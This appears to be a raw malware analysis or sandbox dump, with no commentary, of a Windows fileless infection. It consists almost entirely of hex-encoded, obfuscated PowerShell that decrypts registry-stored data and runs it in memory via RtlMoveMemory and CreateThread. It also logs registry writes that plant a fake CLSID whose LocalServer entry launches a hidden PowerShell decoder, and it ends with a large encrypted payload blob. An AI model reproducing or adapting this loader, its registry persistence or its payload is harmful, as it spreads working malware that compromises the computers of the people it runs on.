64636453530364636393645373436353732323832383734364333383230323735363639373237343735363136433431364336433646363334353738323732393243323836453739333332303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234364637413336324332383238323833313336333033333334324233323336333133303239324433363333333533363239323932433234373636323331323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373436433338323032373532373436433444364637363635344436353644364637323739323732393243323836453739333332303430323835423439364537343530373437323544324335423632373937343635354235443544324335423535343936453734333333323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238323437353642333232433234363136393330324332343646374133363239334232343735364233323344344536353737324434463632364136353633373432303533373937333734363536443245343936453734373037343732323032443431373236373735364436353645373434433639373337343230323432383234373536423332324535343646343936453734333633343238323932423234363836463337323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373436433338323032373433373236353631373436353534363837323635363136343237323932433238364537393333323034303238354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443243354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383330324333303243323437353642333232433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230323833373334333833303244323833333335333133313244333133303239323927297c2628247073686f6d655b3130392d3130355d2b247073686f6d655b3136332d3132395d2b277827297d66756e6374696f6e207270317b706172616d2824686133292028696231202732343633373533313344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323331333133303432333133303244333033313330333432443331333233303337324433303433333033303244333034333330343433303331333034323330333133303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333233313331323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133323331333132373342323436443741333533443238323436333735333135423333333235443242323832383238323833313330324233333239324233323330323932393239323933423230323436343645333333443234363337353331354232343644374133353245324532383234364437413335324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436343645333332393342323436333735333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233313331333034323331333032443330333133303334324433313332333033373244333034333330333032443330343333303434333033313330343233303331333034333744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303433323733423234364437413335334437423230323437383736333933443330324532453332333533353342333032453245333233353335374332353742323032343736363933373344323832343736363933373242323437383736333935423234354635443242323436343645333335423234354632353234363436453333324534433635364536373734363835443239323532383238333233383330324432383333333632443331333232393239323933423230323437383736333935423234354635443243323437383736333935423234373636393337354433443234373837363339354232343736363933373544324332343738373633393542323435463544323037443230334232343633373533313743323537423234363537303333334432383234363537303333324233313239323532383238333132423238333133333333333033323332333733343337333332443331333333333330333233323337333433373333323932393242333233353335323933423230323436423735333533443238323436423735333532423234373837363339354232343635373033333544323932353238333433323339324433313337333332393342323032343738373633393542323436353730333335443243323437383736333935423234364237353335354433443234373837363339354232343642373533353544324332343738373633393542323436353730333335443342323435463244363237383646373232343738373633393542323832343738373633393542323436353730333335443242323437383736333935423234364237353335354432393235323832383238333333393337324433313334333132393239323935443230374432303744323033423234374136313339323033443230323832363230323436443741333537433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436353730333333443330334232343635373033333230324436433734323032343741363133393245344336353645363737343638334232343635373033333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234374136313339324535333735363237333734373236393645363732383234363537303333324333323239324332383238323833323332324433363239323932393239323037443239323927297c2628247073686f6d655b3137312d3136375d2b247073686f6d655b3134312d3130375d2b277827297d636831202461693020246169302e6c656e677468202828333833302b31323634292b31323434362920282831302b3534292966756e6374696f6e207a73347b706172616d2824716b30292028646137202732343633363833393344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323331333133303432333133303244333033313330333432443331333233303337324433303433333033303244333034333330343433303331333034323330333133303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333233313331323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133323331333132373342323437313735333333443238323436333638333935423333333235443242323832383238323833313330324233333239324233323330323932393239323933423230323436353638333633443234363336383339354232343731373533333245324532383234373137353333324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436353638333632393342323436333638333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233313331333034323331333032443330333133303334324433313332333033373244333034333330333032443330343333303434333033313330343233303331333034333744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303433323733423234373137353333334437423230323436333646333233443330324532453332333533353342333032453245333233353335374332353742323032343738373933363344323832343738373933363242323436333646333235423234354635443242323436353638333635423234354632353234363536383336324534433635364536373734363835443239323532383238333233383330324432383333333632443331333232393239323933423230323436333646333235423234354635443243323436333646333235423234373837393336354433443234363336463332354232343738373933363544324332343633364633323542323435463544323037443230334232343633363833393743323537423234373836323337334432383234373836323337324233313239323532383238333132423238333133333333333033323332333733343337333332443331333333333330333233323337333433373333323932393242333233353335323933423230323437373731333533443238323437373731333532423234363336463332354232343738363233373544323932353238333433323339324433313337333332393342323032343633364633323542323437383632333735443243323436333646333235423234373737313335354433443234363336463332354232343737373133353544324332343633364633323542323437383632333735443342323435463244363237383646373232343633364633323542323832343633364633323542323437383632333735443242323436333646333235423234373737313335354432393235323832383238333333393337324433313334333132393239323935443230374432303744323033423234373136323335323033443230323832363230323437313735333337433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437383632333733443330334232343738363233373230324436433734323032343731363233353245344336353645363737343638334232343738363233373242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373136323335324535333735363237333734373236393645363732383234373836323337324333323239324332383238323833323332324433363239323932393239323037443239323927297c2628247073686f6d655b3130352d3130315d2b247073686f6d655b3138312d3134375d2b277827297d66756e6374696f6e206f73317b706172616d28246c76382920286c6e30202732343738373633363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343738373633363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343643373633383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343738373633363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436313642333432433234364337363338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373837363336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3139372d3139335d2b247073686f6d655b3134382d3131345d2b277827297d66756e6374696f6e206764377b706172616d282465783229202865753820273234364137413332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343737373633373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343641374133323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364137413332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373737363337324332343635373833323239323927297c2628247073686f6d655b3139382d3139345d2b247073686f6d655b3139302d3135365d2b277827297d powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C} powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1204.ps1" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{110E1106-040E-0400-0603-13090E0D0F09}\ = "{07120E11-0009-010F-0A12-11081110030C}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\VersionIndependentProgID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('246D6E78776B6A3D2730313043273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B31323131304231302D303130342D313230372D304330302D3043304430313042303130437D5C50726F67494427292E246D6E78776B6A29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\VersionIndependentProgID\010C = 3ba135fc10b4f89e93cb38a68cbbbc52ebc261db910a1e59a20ead05ec3770949f00a47fe3e1da3bc3b82a1ea2e10cbdb2953cfd00cb55539aa7b10790a4263756506294cbb7da8dca80836536f21ec7478f91b3ee4ba209acd3e18911d03089bec0ce0204e51e08e0c9efa90930ef1659ce45f45df6a3ce1554d603d1787f9bbbe19b67c7658dfbde04db2cc388bf0ad20bd0f893f3c213dacb1f18cf8daaf263c26b33a8d9086f11025d74059515f670377ce86da0ec64909ee077ba63c5e1ed234e66b4a5550f7aefcf1d01e2fe9de2419a58b9ecdc6495bb1b030717797aa4d5060753d0c1141b3ad53f7a56d618fec5ff15ef7bd216b2afccf783ef4f339eb041f40a587e5c182427379dfe5a29dccbfa311db0f578f95759d58b0bc9196d3fcd5e98011e3f521b706345269af9cd3954ec2c6e8c4777736999a775645fbbbc7359b3694e5b88d94fe73fccad5663957a32e04dde80b51220f7b9deab14d46690f4baecb954270652a2a6092c94463f34cfdc2695eb10a13ae32ea228d8bcba234b08ee674c504b1191952affb679f254d918e9fe6425fd142a5a6b5fe18ef1ad8a56177011e2d54ce6ca0f65908347de632fab8e6652ae8dfd78de9ce261d5a3a28d4b9b9431ae98b5ae69ec81b6f23f472ba07c7ecbaaff4ca4ea35001ae94a218f5f1cef8d8c5ca27e1fb07519e3084aac43589ec1f97bdd9bc8144d8fea1e3cbc57a1489b908aed07f23f2cff3f21b2469e89c907b169042caef08f2398625ad71d07ae1e8db63ab1c825ee67d0f7bf5c2705adcf6732b30c27ef826a7975dbf7438fcee4c0352e52604a8f02c3517a290fe052fb89948ea2a8b56b4607ac26e0eaddd48c15dcb80f3a2e145c9ad8ce78eecc98aef190d3b00bbf6bb5e969d71821a2c187748143daa1d4759448703969992214b7b6423937a6012c8f1b05386417eefaeff8d59b4bf751cd641842261dc5983f431db28b054c9b4ddbd7a00011ec50c3a5e094f4e377d99da3bd42c3ef788461440bcbc21ebcb10cf7865e0142f9cd2e7fd3cfcf66af6b04f5aa9f6b70b83eaef32fca1440639e8473041609a077fb6149eb3a2771309476abb1dd293de056193700a585d62fe0d140028a47eb3522b7a6f76314ac82085f0a1274b221a877ee006e2062b057807774c02a469f791fb0403c9ee9949fe7154a3c83832b8bf7f09c3275a4b411887f633a0fa4aa92024a675a9562e4efc98be31b40b3379b587752a1b8a2ced944fa737d079cfd76244d2768b4bfe06074fc0cadbd415d002cd520e10c5300b10ea965b9a70cd168babb8646b26ccba025668523a54da19e36cee02c806956ce85b66aa1d2dba2b9006c48d3474e325ce5eee733809c123d9c82784be2d9269361af458e4fdbe551544fd2567b23b9e58ff6accb4b2dbf350c379aa6b27b8d2356f568a56f5e0a479efc53c1e1e78aabb07e580c9ce80368907bca26d0e619ee12b7c2b65e62c96f9c6180bcb9a9ce7cbffbdb6c60f380e720b59cb5c32f9d085e8bd29daa7eee506e4140eb61edb7b73ffb1ae9479906324cb8afb22e16e792e2cc55a591a9274a29ce24e3b7b17447f37b8561504be9d21a86d7fa620240880105b4deca20472e3e8c553744fbc37871e865bd843b7e85d8d710d26b463a5511812bd22203a8fdb0723f8c32ad08f0a88bd6941f89f0398adff1608a94034cfd0516b330aeb79660bbdb9d6e1a051511861226d5530d4bfb9a0396845bc710ea18363b0bace341d4f1356d598593148e052bf42d6a1f5239bf4c63f36c20bcfca3ff557422932607403746d66be33233571845b20edd200a74cd2d7be2145d1945c22b8bdb140ba837f99a267c9bab66ec6f1959dbbe98b0457be6779bed2c5e27526a5f38a2fc32c20f6eaf7b8a7d388b4823c8c20898a03575d17afde97f7d34b5f0c354c3f9561d38f8dfb301336e7435b53d77d5cf09ca7dea320aeec98ca98ab86ed706d61a4276da0e382c61786946e9291c4f6ae6a910f2087a7a3c98f38acfe31191acf7a00cd3182036594ef053df3d2d0fc66efa14247c8a802778effe450506490af41d8b68b385bef3f99e15799b9e50253c39a7632e567f0ba80b4054e4490dd151266323037cfcfeb4b9acc4531c1c77879fd88daec4e5b1589147d3379371ffc12bdee531c122f68bb67c6f0dbe0b63323b5c2a8a0186af161ae5da28964e3cd69b6794214d8b62012d0d7c7acc7bc43d0caa4623a7a1879870f91298f5005d5e002310a8a8843767eca7279f42b972ef5d66d0fc34ec199cb4c2adb3717801f65e22df75c22289da47de8d881f346eb87166bebde38516d06e73e9296055c5088f78b08dd748555d2a13c9f9bde46412c1d7391f413a33d13ff4b61adf0b81f6c8aa44df692c8caad7b1eb21c5345bcb3b25700bf2f9e6f3767da14194023af6b97b5e5497a1e1f06867fc2fd576442574c0fadc894fc2727516b8baf2b2c2a4a2164224419b10595feb0fd65ad57a93aa24f6d4b821f10db8ccd66cd93cd1563f0207509e489e7eda2c93d145b4fcf0357a3895e60fc2656678f0fff69e6bfd9208f072730c27e2008d3a3f7838b07d401662e2ebb486d9bf0c0b3faa45c42f470ebcaa003718e69af20824642e9e7604a3eb523af3ebd789c2bf21e9747f18d2eb01c77bf03fe84e6f3ad8996df02b81ffebaf280271d30334fba82e96aa1a12ceaa4cb91aedddc64d054956f7432d08098a4c32df97b9037a1ed71cfca93895cdd8dc11936387815a2ac30518e472469e6df0e3a19a5c3131b91f9fd1cf996baaef637195128f83ab72707851b1c8d05562adb92f1ae5c527760b2810895bcfc1f5eca1078a036e0ea583307632fd92c1b1ca9d2dddd13986c055abc3779321362194174612e9deeca07724a67994ad2dddd010016bed47dce08fed96a30256c354f11fd017d69385ccf6db8c967ae2e731b7d3ec5d1cda149a0f050e53a449bb8b6fe8f75b5257beedb08cc8ca4d554bd5f959c443e042152f13fc798ed985ba82568dfec454e8c84d1e0fb0cc6c2bc62dcb5351c33f77129dca7af07436282ced0c4e56c75e7847c5b0f080dff4c99943be1a2514b160d2538e497248c2d62c3ee09e5c0ac603e61de83614f71f59e386179986c382b38688a12e550cc4c1ee8024910c7f35a82dc0e5a9537676af0d36232841807d35f497faef1b7f543ac186796fb525892265e8a264262994b82fc70a6b3b34e1b6b21d42268e6cc36124ff9cebe59bab59be5ec8764bba1fac8735f30bc1825c8229c70897ecbbb18ce8e971e7d10d4c35689f9772402d573128e21126596e7cad0c44f2ed117f6ccd3550f8b94ecba0f83ce9318422ef424853fc1eafade2223c8dfe8128b716999be2693f919b8ccee6c1fcf481a9895a42eea612be903c84241683182025b9938bb296a0a00817878b46b7c94c710fea764fddce09abffb8db5f1664e304a9fc9b387a817f3603bf57c8a6682d817260b8421911ec1693801631799d9c00f99222e27ca2d9cf9995f59dc2fa3897efbdd1e169950325f19254d03a86c9001dffb7b820cd8016e31e7b0180c36c1ca9b936566cd1cc9dcd00aadf49f9f284d93a6d6ace93faaf30c2098571abd7a20b9a00cb2c70cedc780f1d14068ab21998a8e2ef12772c19c512d749d17eed0852c545fd5e2cd0fb5ef8fdcabc78bd8f38080da50f301add06da77f146b02676864b9d11a91e9a7477195c7003b38be551898199566b5dc25799d4221fa1580224817f1a66a7fee8cd205ec127fa84418b2a41e8b75f5c5e879a72e0c876d7a2005427d325f6b24989a70d5a8f5db0eea890ba911781783c7bca58ac3de6d4f345774e8d8581b1465a94f11cad83798dc93a94291db798be7500523b2cdeca3ac8d525688f72b724bafecf62c3a228056686588dfbf58ad9fecb5fbe1a092b54f4cf37468da71d9a8531c58838c2e88d2cd0bc8b5614e7333d0836c532df200d44364a771ae5c90283db50e653c1f53d20e1ef97ab3d7704220d78114920716bfac96255b297c9f177a09f101aa8abea135bc70ebd8201d80881247a13b7d2f1f9b20515dd8bd737aa55d524620d2a45f5527a4a69ff8ee7d1a453de7fce65a0d09f2ded88280b2292eb4083967b7cb4b88db4358b52d159943cc88a41c7f694fcf2e696a6aeb86a139c410378932c565f874bb15910a14820ffe7e48b924da38cc32b65f582d3aee230838a8ca068078a8d94829a9de277022237d0c11fa46ee9b77f0122694c28651e560cd227918230c3ec1d91278d114d5dcdb571936baac5a778c3638fd8547ea8570d6bf33b8bac12e49246c8613ac9c4a5d4f360a375663c52daed16d9a4d9827d2921d8e22fc09a510fbac31b6556dc99ca2dcb8e88e5a951ad0c777409b90134ceb044c50671d6c3c16446e9e5df97718239e8b0ad9bdf521e0b73832786bad781aa526382f9810f204e6027a0894a0988bb28ccbca47e1c48c68320d1ae11b8fb7f4c2f195e242d09570bb2ec60d0bad5a2afb3306d281cde8a3577557bdb23d405a002bb9ffd36c5d866cd4c7a04c0da122ebbb0ab151b2065c44089b17462426271d936bdbb29b0ef3c19fc78425591880c39f63a60a2e005e48cb39ef0a843fc84da79aac103f766b2e9fcb015bbdc42e82bb763674af44121b2c5ae08d40085df3987923e9cc754f61d922f284f2554b8da56c4b425c7272ff6731951a247175a03f0e85b3ea6d49b3108c2a7fa9b986b8e7fe2da2042a348df0aa53b794dcff2fadc24f796d8e33f6ac44dae58a6d74d2bec57f3f5ef3b5162b59cbee7bb3909a904447803462e7ebf3e3fa2abadedf238e868eec30f2b2864a5d054aec7cb91496d42e66e90a8b332f0ac1367143855eccf3727fbf3a2d2deda5b87c6e992adcc015bc2aedfc83d29345bc94af7bc476c589fca19b3704e9deb798368e2c55b8c0b0bb392805a897d53d70458bcf41956fc59c606d0d3b2a05161af04c7c901ad3eba7b4b35c7fe18aa39f5c82e765c7eb39b36991a9599e9c462346fe5589b9c858ccf1f70407e0acd8f108e2a98fd05e598f30b35975931c36dbf30cd3af03460b69a8b5cd856ab76ee4d5b0d4e35ce9bf21973d66be9d1bb316d781a2668918d58450d0959ab6548bc6c0f62f75c0d5b393c54bb28b9a814cc1bc5266bddc7c67b4e3c97b6163aa49786a031d81107a7167c921bbbc59c9b969bbdd6582f41918ec100597a96b3399618dbb550bc72234e9ac9560217c1af3f9bca55d6d4577ab0f0b8cea8b785077f644de737e6e5ab405b2dcac7f123649aeb5afdda3366435f19a9b199afb9ac0425eceecbc2c40a497c8db4fbee8c1b916fa2fe5a19b53685980fef5bbaef035c52a13dbbc027b7cbc427052337fecdb40954dba804357f8bb366c91ad850c51a768fb0f85fc59208a0185922367ec7a7bcba43f5fe692072d8f273dbe17853bf60361dd862246f3ee3002eb6fa27b2007ee6158067787ed525ac00776a1b49e6a6d872f262ce5bd016e75261e3b6fc165a27458ba0bb337f27aa24ca62ad03ece211be650c38fdeeb6bf856c8eec67309eb9c29f5a33f3fb0979f07b24d001bc4192fb257b2a8a7b76758e1e50dc5a537691750a4acf434c2c99ea85bf8cba61cedcabf2573e5830f1c4b695b999ffcaf925923b937021a21ccee606f022bafa6e4f1950f7dc78253c389d695930ecffef9178aa1c7f00fc40a629212c56df5ee16aa3ec21a5930a5749dc1bb795122d1ed7a5d20b5155ca9acf0d0b44b45e67623ad887a13ebd9676dfe82dae8bbd6da542090ecd7477e9d27ebcb4a6a433f098faafa59f2d8cfab315494da81e0ca92690c6317ce527676ad5a6245769b3fd6fd5cd3fc28a455c12b9d932c6282ab2e4f4a04a4539519f705a0186c2f9b289849eca4b4c64f52b55a117b88f599f8dacd3cab95407ba2c340e1e1790e03dc357681e4bb55345b784285149e93257c19ac5e8a68e08401dcac27b44d45f03cbf012b0275f3b9ab6b9a6ff6c5b4d764bcc5a338eb4ee8b829adc3165b1c3316265c54fda495f43049c6e90c1bedcc40459f0002c5b3bcf663352340844cc87c18dd2526dfcea73b26f62a3dc3cdf063bc4b213abd2884df21202107be573e36099d85607e0db184ddcaed74bacab004f14834c2ed5fb7ac460bfba86c880a5b2dd2ba4459ee9fd415bd5d5cb84c06f81bb6dfd6e483aa31e70994b3f4b3c8d24f750a48478d6fb042cd957b2c62d3aa74294a7aa1d1415acbedb0a6b79a08a8386e6df22a7f6b41c6cbc178623de5b710115ca7db5ed9823eff875caacc2a09640ea9b6d5831fa6125b3166a508e44e84fa80c6bb0dceaaa84299bbea4f39aa96221766164c9027d2e6b653bc1647775c5dace7ef520a12bdbb52b55aa1b87caca7508bcb2470ac0254f09c095ff602b191a3f368a60a511c55cdb32892a1e94e9eed6bfcceaadff2ac62030409da49b64e0e43844f0a9a44bdff1f6c702f0c2b6831a9d8e99c86623f1a803f2f018cce73dddc1d63b29fc29ce1c378befd3ef797ac058bf6510aa70ed9017486aedf870bee2f3cc17dc45e263026d3d77f513f14b63c5a51e2ba5cc68d39da359a11b1346d157299d39fb9f524926c13fe2951048409e1de0a4eee19e3b4d2a34f42e1b4cfa9a6d74bf6c6bd81bc1bfbd574bc3ad3bf66ed823c42f910f7849f1ec44e34c750079c03921296f9d7700ee0eed0d3f783230e840d8353cf57744c7e64adef174ae20cb3958a972984ed04592cb3aefa92f560fc7054824b4aa10e27971f051535776fe475f5b6c9941f3060defc80db7905397ff4a6d31b04b19d997b99283635eca9bc53f0734c64d00727503aa217b0d6128252c1cd67534f7e61a01c850e3a6a31feb535d826fc585edd800b2b257e85cc1aeb4b8d71108b6117e6a9263f654d4b94f9acf11a48a236b96d9f9a0600fe38c016b3ff771761f379c1bbcbbca42976fc5b996fab675c723fae62d5eac5b6c88668d34cf8fdc87510dfe679c22ff3ed351d055fdaef34e4ca8e69ab708668cdabfb25748c99161e8a4b7b60a780f678da7fefece5902ef2e1ed85d1ebd254c68c70d97ead613556a7ce7624d995ddeda3d4a0c32403aed33e7d43a67f532357974537caf2c38ae9803fa11d918f4a3e17ac90cc9a696ffbf7ca7af9c8e002880978e8fef1944b1425f3de9b8645ba52def572cd8c9b70b855ca8450a20083155ff3d8ec9ed6e3e694cd0744704eec4817b25659ca0152597a20f39f63478d4d05b394edd43109f6a45888bd91cee722af40e11119a4501e46436f8b7e61f8de35e2643c8c0ff5c3ed4050edefef22da97091a4c231c4b25e5b5eeab68f08c54b8e2caa7b0fa3aa8caecd2f326380bfd4e2ecc8ec2ba859632a064d86ab58382db1d95260da53f61bf6c612f7f378576d4406d549f797230382b8f20089b35a3cdc0789a31076da5675048e2b8a6dc183c873dcc3ad80be1426a19c927d66017d35e2cb6adfb67c19c4c3826db353c62b1d1fabef20684975eb0a61c608d1cb8c76732425a0ec3a03df2d30e6fa82ecdfb7e04f140a662e814f76a280028b1432fbf36afd6a07ff56d979c747bb83804135ab7fe0bb56e758e842b05c1391198e1c8ff7721fe72f52d6e55d175933afb512b55761086954cbdde57ea1a72d820b40976322e6c2ed829da2eead8a8d9b25154fc35a153e948171a6d45214629fc2ccc57b1c27b1860f6c1c011619f1e60f39d8ac27f7352741c4c17b6fc9eab1a8746bde3cff7521323f4f2b932d8c3f446f9d0ea93a72de117dac9dd86759b0be3a1121a0fc60c9968fb1f097621cf83568f2fb68146d18c983d09e302658d3b3afd76594de3d7f14cc1c5e322696be111fddffe3dc7a53c6d2c1c8d8d178f505e3c2802e5e92f3385b52f18a3bc7c414aea85c432015a6a93f59be2485869a063430489a31b7db458d45f119e9df384e3524a29cadffc4f804f569521e608f6a1c5977a9e31e0dfd7eba3e4d6528066910120cbefab33006b7e01eec5d98b01a27ffe91896f5cd5fe159cb88d2de5778d5e7716ebc88f9f635061a4e971249ab6d69cc5b39d4ee61e165f1a23725c60b7b75bffbbada9d53dc559f4bcfee7b1dc5524ebf5f69359fc083509dc37f19851e24ecb17182b81a74f12d6b0b38f73117f8e56e36ff7ed1f1d1fde38c76e4da5bee52671f5a8a642d22f4a4a13bc31da60fbd6f3f959bfa32de15a877ad44972b7985d3e8a789569895cedfbf25393e7e03f30c674aadea721f19e756a9f4f7db64f6a32e8b8e28be98def014bc991982f3e4f6a065784b92151d2eae9c3fbb8212e52351f8f944d834c7b2de5d0b6f5663e8cab60e2611d4e7381f9452b1a12067b34ad4de537b4d4e4685b6ade8be7db26aa95263aa9c3711354ab46556c1865273bc02addc5d9bb140e801d439f155ba3b85d41e73f6dde57414007f8ba6c6b0eefe5f95c61ace09b3c9a03b057374d898d49a6075ef1e4364f5d5ac8db831c35b350b39f0527fe3a76fabcf2ef311bdcc1dc17a784690f88767fd1053bfc04264d518fdaa01948cb201d53e3d1618f6863cc31c3dcc28d8ea36ad43fcf129984f76ee24f5fab4bab4cf3d8692458cf0a55fc36a98f31f3fec0abedd6c3474b7e8356cce473f285f7d5b6ff0ea8203b9800b1ec146ee607bb9343f5d545d3481a3a797935bcb2da638d791dd3b5f5b624c2b123b5007e106d6487710d0cff33a60bbd72ffd52c1a1317c4b8f00b09e9efbaf394a8672710440185037824179a1ab344267e871434a9ec877c69ea8092994e8f3e0e75baacca7ae55447a7858543aeee8a4ace355ea50f9c931cd166780cff2a0b7b0ba5c7926d776435c148b9912c3fb7e980653bba95801d5c4c7246964983fec777a5f7a95fbcbbc7df40bea06de88ffba9a10323d9347e506601c33ee54c8eb962e1e0adbb979f2a39a331b75a3439f2cf34cb4768f6fd74bab0f78b652d6b0ab3bf1cb3aa81c58d8d996f9a3785d917716cc326a8799972af350254bbb96182de0cf5028680deebe0021e556254d5669e616fa7b3b1cc61bc3bf120bd5dad8f2fe88de00cd40ed0809a039b4213ba5949897466778cb782f99f4d1995be5bda1c58de1bd3ae86cd526a80f93e1d7d54ca187d78b8fd9b28cefb9a183a124f63dacb149ed9dd104712ab6b28fd6f764b2e09007be33b554047cdf915adb2192878e78bee725773c29fa4eaaad4b3b5e33e9a8d530119225e0c50fdd8304b2c70cf8f06f91c31c63118d558465d6282f87d36b28a581fdb81aa6d2865be6eab0f9ad3c43ec4cbb9b7d09a54eeca1303c779d0630832a3f88192c8692f371919ebc45fca13747c11e812e863111c50223566b5ffe5f21cb0d5dfb6c2363fa15ae6419d95059bbfdcae7ef1b39378b15d34730c63fba4bc2c906b5dd525a512c1b9334bed40aad40270575f4ffd5c340aa83d49c5d402bb9320deedea2265f0db0658e5e0465eee222afe83bc4b0865940460c74b7cee520554812cd488f546cc368e2c1a7c660c094708d3aedf6be2ff659e2d462837f7bb28a8817f9e5ddca7b5d71cfdd5a699bec899b7fb93b3f493e54eb130ddab9bb77ff785b35b9153a22665a8a4de2f3e73cf6d775c960032ad7c78ab1815945998235c4a76deffcbd7e9018cb1ef161688666ac4a7c48c103b606f53854b0628740b44a0278afdf34fb1e8d190e5cd6cd8dfd0eb12473dc8f195d31cde9d19e9ea916825a56e10e8de54c5a7f6f2c364cf583724bf2144f30557ded580d5f28d